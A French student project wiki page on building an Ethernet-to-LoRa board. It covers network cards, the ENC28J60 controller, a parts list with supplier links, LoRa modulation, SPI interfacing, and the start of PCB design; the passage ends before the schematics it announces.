La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
